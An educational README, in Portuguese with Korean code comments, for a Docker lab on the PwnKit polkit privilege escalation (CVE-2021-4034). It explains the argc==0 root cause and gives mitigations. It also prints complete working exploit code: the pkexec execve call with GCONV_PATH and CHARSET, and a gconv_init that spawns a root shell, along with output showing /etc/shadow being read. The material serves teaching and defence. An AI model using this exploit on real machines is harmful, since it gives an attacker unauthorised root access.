
PoC educacional e análise da vulnerabilidade CVE-2021-4034 (PwnKit) de escalada de privilégios local no pkexec do polkit, com um laboratório baseado em Docker para prática hands-on de exploração e defesa.
🔗 Projeto original: berdav/CVE-2021-4034
Este projeto é uma versão analisada e modificada com base no original para fins educacionais.
Licença MIT | Tarefa educacional da White Hat School
CVE-2021-4034 é uma vulnerabilidade de escalação de privilégio local no policykit-1 (PolicyKit) do Linux. Um usuário comum pode executar pkexec sem argumentos, explorar uma falha na estrutura da memória do processo e, com isso, fazer com que o glib referencie novamente strings de variáveis de ambiente que deveriam ter sido filtradas, carregando um arquivo .so malicioso e, assim, obter privilégios de root.
⚠️ Apenas para fins educacionais: Este código deve ser usado apenas em sistemas modificados.
Usá-lo para atacar sistemas reais pode acarretar responsabilidade legal.
É fácil interpretar erroneamente como um problema apenas do Ubuntu, mas como é uma falha de lógica no próprio pkexec, a maioria das distribuições que usam polkit é afetada. Como o ambiente de teste Docker é Ubuntu 20.04, incluí essa versão na tabela acima.
Quando analisei pela primeira vez, pensei que era um 'problema causado pela falta de validação de variáveis de ambiente', mas ao examinar o código-fonte e o commit do patch, percebi que a ordem era um pouco diferente. A verdadeira causa é outra, e o problema das variáveis de ambiente é mais uma consequência dessa causa. Abaixo está o fluxo organizado na ordem das causas.
pkexec é um programa SUID-root que solicita escalação de privilégios através do PolicyKit.
# Exemplo: executar um comando com privilégios root
pkexec /bin/id
pkexec systemctl restart service
É usado quando um usuário comum precisa realizar tarefas específicas com privilégios administrativos.
argc == 0A função main() do pkexec, na parte de processamento dos argumentos da linha de comando, não valida o caso em que é executado sem nenhum argumento (argc == 0). Este é o verdadeiro ponto de partida desta vulnerabilidade.
argv = {"pkexec", "comando", NULL} → argc >= 1execve("/usr/bin/pkexec", {NULL}, env) → argc == 0Se argc é 0, a lista argv contém apenas um NULL indicando término. No entanto, a lógica interna do pkexec tenta ler e escrever em argv[1], que não existe, mesmo nessa situação. O problema é que, quando o Linux executa um processo, ele coloca o array argv e o array envp (variáveis de ambiente) lado a lado na memória. Então, o argv[1] fora dos limites acaba apontando para envp[0], ou seja, para a primeira variável de ambiente.
Situação normal: argv = [ "pkexec" | NULL ]
Situação de ataque: argv = [ NULL ] ← argc = 0
↑
Acessa argv[1] inexistente
↓
Lê e escreve em envp[0] logo após na memória (out-of-bounds)
Por que isso é perigoso:
GCONV_PATH e LD_PRELOAD, considerando-as inseguras.argc < 1. (Corresponde a CWE-125 leitura fora dos limites, CWE-787 escrita fora dos limites)📌 Em resumo: a falta de validação de variáveis de ambiente é a 'condição para o ataque funcionar', e a verdadeira causa raiz é que o pkexec não tratou o caso argc == 0. O item 3 abaixo é a consequência dessa causa.
Graças ao comportamento OOB descrito no item 2, essa string acaba sendo reutilizada sem validação durante o processo de inicialização do glib pelo pkexec.
// CVE-2021-4034_exploit.c
char * const env[] = {
"GCONV_PATH=.", // 원래는 ld.so가 걸러냈어야 함
"CHARSET=PWNKIT", // 존재하지 않는 인코딩
};
execve("/usr/bin/pkexec", args, env); // argv는 비워서 argc=0을 만듦
Problema:
O importante aqui é que o glib não fez nada de errado. Se GCONV_PATH está definido, procurar um conversor nesse caminho é um comportamento normal do glib. O problema é que o pkexec já quebrou o estado de execução segura (estado onde as variáveis de ambiente perigosas foram removidas) — o glib apenas agiu normalmente, mas esse comportamento normal acaba sendo explorado.
Verificação da variável de ambiente CHARSET
CHARSET=PWNKIT
Pesquisa pela definição do conversor no arquivo gconv-modules
module UTF-8// PWNKIT// pwnkit 1
Carregamento do arquivo .so a partir de GCONV_PATH
GCONV_PATH=. → pesquisa por pwnkit.so no diretório atual
Execução automática da função de inicialização do arquivo .so
// pwnkit.c - .so 파일 로드 시 자동으로 실행됨
void gconv_init(void *step)
{
setuid(0); // root 권한 획득
setgid(0);
execve("/bin/sh"); // root shell 실행!
}
É fácil chamar gconv_init de 'função construtora', mas estritamente falando, é diferente do __attribute__((constructor)) do C. Exatamente, é uma função de inicialização definida na interface do módulo gconv, e o glib a chama explicitamente depois de carregar o .so com dlopen.
┌─────────────────────────────────────┐
│ Usuário comum (uid=1000) │
└─────────────────────────────────────┘
│
│ 1. Executa pkexec com argv vazio (argc=0)
│ + Define variáveis de ambiente maliciosas
│ GCONV_PATH=. / CHARSET=PWNKIT
↓
┌─────────────────────────────────────┐
│ Execução do pkexec │
│ Sem validação de argc → OOB → │
│ Re-referência da string │
└─────────────────────────────────────┘
│
│ 2. glib processa conforme comportamento normal
│ Pesquisa pela codificação CHARSET=PWNKIT
│ Encontra conversor em GCONV_PATH=.
↓
┌─────────────────────────────────────┐
│ Carregamento do pwnkit.so │
│ (arquivo .so malicioso no diretório │
│ atual) │
└─────────────────────────────────────┘
│
│ 3. Execução automática da função de inicialização
│ do gconv (privilégios root!)
↓
┌─────────────────────────────────────┐
│ Obtenção do shell root ✅ │
│ uid=0(root) gid=0(root) │
└─────────────────────────────────────┘
# 1. Obter o projeto
git clone https://github.com/krleejihyeong/WHS4_CVE-2021-4034.git
cd WHS4_CVE-2021-4034
# 2. Verificar versão mais recente
git pull origin main
# 3. Compilar (sem cache)
docker compose build --no-cache
# 4. Executar
docker compose up
Recomendo usar docker system prune -a --volumes --force apenas quando o cache ou os volumes estiverem corrompidos e o método acima não funcionar. É um comando bastante agressivo que limpa todo o cache Docker do sistema, podendo remover também caches de outros projetos. O conteúdo relacionado está organizado separadamente na seção "Problemas Enfrentados e Soluções" abaixo.
pwnkit | 현재 권한 (공격 전): uid=1000(WHS4_student)
pwnkit | # id
pwnkit | uid=0(root) gid=0(root) groups=0(root) ← successo! ✅

WHS4_CVE-2021-4034/
├── docker-compose.yml # Configuração do Docker Compose
├── Dockerfile # Ambiente Ubuntu 20.04 vulnerável
├── start.sh # Inicialização do contêiner e execução automática
├── Makefile # Configuração de compilação
├── CVE-2021-4034_exploit.c # Código do exploit (chamada pkexec)
├── pwnkit.c # Arquivo .so malicioso (escalação de privilégio)
├── gconv-modules # Mapeamento do conversor glib
├── README.md # Este arquivo
└── LICENSE # Licença MIT
#include <unistd.h>
int main(int argc, char *argv[])
{
// pkexec에 실행할 프로그램을 지정하지 않음
// (args에 NULL만 있음) → 이게 곧 argc=0을 만드는 부분
char * const args[] = {
NULL
};
// 🔴 검증되지 않은 악의적 환경변수
// argc=0으로 인한 OOB 덕분에 다시 참조 가능해져 pkexec에 그대로 전달됨
char * const env[] = {
"GCONV_PATH=.", // converter 경로 (현재 디렉토리)
"CHARSET=PWNKIT", // 존재하지 않는 인코딩
"SHELL=/bin/sh",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
NULL
};
// pkexec 실행 (인자 없이 → argc=0 트리거)
execve("/usr/bin/pkexec", args, env);
return 0;
}
Ponto-chave:
args não inclui nem mesmo o nome do próprio pkexec, fazendo com que argc seja 0 → aciona a causa raiz (falta de validação de argc)GCONV_PATH=. : Depois de se tornar referenciável novamente devido ao OOB, o glib pesquisa por conversores neste caminhoCHARSET=PWNKIT : Induz o glib a procurar um conversor para esta codificação#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// .so 파일을 converter로 인식하기 위한 함수 (형식상 필요)
void gconv()
{
}
// 🎯 CVE-2021-4034의 핵심
// .so 파일 로드 시 glib이 dlopen 후 명시적으로 호출하는 초기화 함수
// 이 함수가 root 권한으로 실행된다! ← 핵심 취약점!
void gconv_init(void *step)
{
char * const args[] = {
"/bin/sh", // root shell 실행
NULL
};
char * const env[] = {
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
NULL
};
// root 권한 명시적 설정 (이미 root이지만)
setuid(0);
setgid(0);
// root shell 실행 ← 권한 상승 성공!
execve(args[0], args, env);
exit(0);
}
Ponto-chave:
gconv_init() não é um atributo construtor do C, mas uma função de inicialização que o glib chama diretamente após dlopen, de acordo com a especificação da interface do módulo gconvsetuid(0), executar um shell concede um shell root diretamente$ id
uid=1000(WHS4_student) gid=1000(WHS4_student) groups=1000(WHS4_student),27(sudo)
$ cat /etc/shadow
cat: /etc/shadow: Permission denied

Na verdade, a captura de tela acima é do momento em que o exploit foi bem-sucedido pela primeira vez, e mostra as permissões do usuário.
$ ./CVE-2021-4034_exploit
Nota: O exploit em si não requer sudo. Como o pkexec já é um binário SUID-root, obter um shell root apenas com privilégios de usuário comum é o núcleo desta vulnerabilidade. Já usei
sudo -Eno ambiente de teste Docker, mas isso foi apenas para conveniência de execução ao verificar a configuração NOPASSWD, não tendo relação com a vulnerabilidade em si.
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /etc/shadow
root:*:18783:0:99999:7:::
daemon:*:18783:0:99999:7:::
... (root만 볼 수 있는 내용)

Acima, podemos ver que o privilégio root foi obtido após o ataque real. Se quiser ver uma visão mais geral do antes e depois do ataque, recomendo ver a imagem na seção ### Permissões reais antes do ataque acima.
✅ Escalação de privilégio bem-sucedida!
Reprodução bem-sucedida no ambiente Docker baseado em Ubuntu 20.04 (policykit-1 0.105-26ubuntu1). Ainda não realizei muitos testes repetitivos; pretendo executar mais algumas vezes variando as versões do kernel e da distribuição para preencher os resultados.
# 1. 패치 업그레이드 (권장)
sudo apt-get update
sudo apt-get install policykit-1=0.105-26ubuntu1.1
# 버전 확인
dpkg -l | grep policykit-1
# 0.105-26ubuntu1.1 이상이어야 함
# /etc/sudoers 수정 (sudo visudo)
Defaults env_delete = "GCONV_PATH,GCONV_MODULES,CHARSET"
unset GCONV_PATH
unset GCONV_MODULES
unset CHARSET
O patch é a solução fundamental; as duas medidas acima são mais paliativas que podem ser usadas até a aplicação do patch. A validação de argc em si só é resolvida corrigindo o código do pkexec, então apenas bloquear as variáveis de ambiente não impede completamente.
docker-compose não encontradoCausa: No Ubuntu 24.04, o docker-compose (v1) não existe, apenas o docker compose (v2)
Solução:
# Usar o comando docker compose (v2)
docker compose up
Causa: A configuração NOPASSWD do Dockerfile não foi aplicada corretamente (problema de cache do Docker)
Solução:
docker compose build --no-cache
docker compose up
Se ainda não funcionar, limpe completamente o cache e tente novamente.
docker compose down -v
docker system prune -a --volumes --force
docker compose up --build --no-cache
Causa: Arquivos locais mantidos na versão anterior
Solução:
# Obter a versão mais recente do GitHub
git pull origin main
# Verificar os arquivos
cat Dockerfile | grep NOPASSWD
cat start.sh | grep "nofork=false"
# Recompilar
docker compose up --build --no-cache
Causa: Contêiner existente ainda presente
Solução:
# Remover o contêiner
docker compose down
docker rm pwnkit -f
# Executar novamente
docker compose up
Causa: Os arquivos criados pelo Docker têm permissão de root
Solução:
# No WSL/Linux
sudo rm -rf WHS4_CVE-2021-4034
Autor: krleejihyeong
Partes escritas/modificadas:
Este projeto é licenciado sob a Licença MIT.
Copyright (c) 2026 krleejihyeong (modificação e análise)
Copyright (c) 2021 berdav (PoC original)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
Consulte o arquivo LICENSE para mais detalhes.
Este projeto foi criado apenas para fins puramente educacionais.
O acesso não autorizado a sistemas de computador pode ser punido por lei.
Última atualização: julho de 2026
| Item | Conteúdo |
|---|
| ID CVE | CVE-2021-4034 |
| Nome da vulnerabilidade | PwnKit |
| Versões afetadas | Versões do polkit anteriores a 0.105 sem o patch aplicado (ambiente de teste: policykit-1 0.105-26ubuntu1 do Ubuntu 20.04) |
| Tipo de vulnerabilidade | Escalação de Privilégio Local (LPE) |
| Gravidade | Crítica (CVSS 7.8) |
| Versão corrigida | policykit-1 >= 0.105-26ubuntu1.1 |
| Data de descoberta | Junho de 2021 (divulgação em janeiro de 2022) |